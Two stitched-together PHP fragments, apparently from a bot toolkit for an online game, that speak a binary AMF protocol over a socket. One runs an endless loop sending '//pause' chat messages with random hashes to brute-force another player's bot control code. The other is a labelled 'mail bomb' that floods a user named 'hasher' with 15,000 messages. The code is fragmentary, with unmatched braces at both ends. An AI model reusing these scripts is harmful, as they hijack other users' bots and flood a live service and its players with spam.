} //$s->read(); //var_dump($response); function mathRandom() { return (double) rand() / (double) getrandmax(); } $mail = new YaBOB_Mail_Sendmail(); $chat = new YaBOB_Common_Privatechat(); echo "Starting neatbot pause hash bruteforce\n"; $username = '******'; $your_name = 'DrWhat'; for ($i = 1; $i >= 0; $i++) { //$message = hash_pbkdf2("crc32", mcrypt_create_iv(8), mcrypt_create_iv(8), 1, 8); $message = hash_pbkdf2("md5", md5("abcd" . mathRandom()) . $username . " " . $your_name, '', 1, 8); $chatMessage = $chat->_($username, "//pause " . $message); $chatData = $AMF->AMFlength($chatMessage) . $chatMessage; $s->write($chatData); @$s->read(); checkmessage($message, @$s->read(), $username, $i); } function checkmessage($hash, $read, $username, $i) { $out = substr($read, 4); $AMF1 = new YaBOB_AMF(); $out = $AMF1->destructAMF($out); if (@$out->data['fromUser'] === $username) { echo "[HASH FOUND]: " . $hash . ", sent " . $i . " Uniuqe hashes.\n"; exit; } }
if (@$response->data['errorMsg'] === "need create player") { $createplayer = new YaBOB_Common_Createnewplayer(); $player = $createplayer->_("Packet", '', '', '', ''); $createplayer = $AMF->AMFlength($player) . $player; $s->write($createplayer); $in = $s->read(); //var_dump($in); } else { echo 'server returned: ' . $response->data['errorMsg']; exit; } } //$s->read(); //var_dump($response); $mail = new YaBOB_Mail_Sendmail(); $chat = new YaBOB_Common_Privatechat(); echo "Starting mail bomb\n"; for ($i = 0; $i <= 15000; $i++) { $message = bin2hex(mcrypt_create_iv(4)); //$mailMessage = $mail->_($message, "hasher", "Hello"); $chatMessage = $chat->_("hasher", "//pause " . $message); //$mailData = $AMF->AMFlength($mailMessage).$mailMessage; $chatData = $AMF->AMFlength($chatMessage) . $chatMessage; //$s->write($mailData); $s->write($chatData); //$out = $s->read(); //$out = substr($out, 4); //$out = $AMF->destructAMF($out); echo "Sent " . $i . " mails\n"; } //var_dump($out);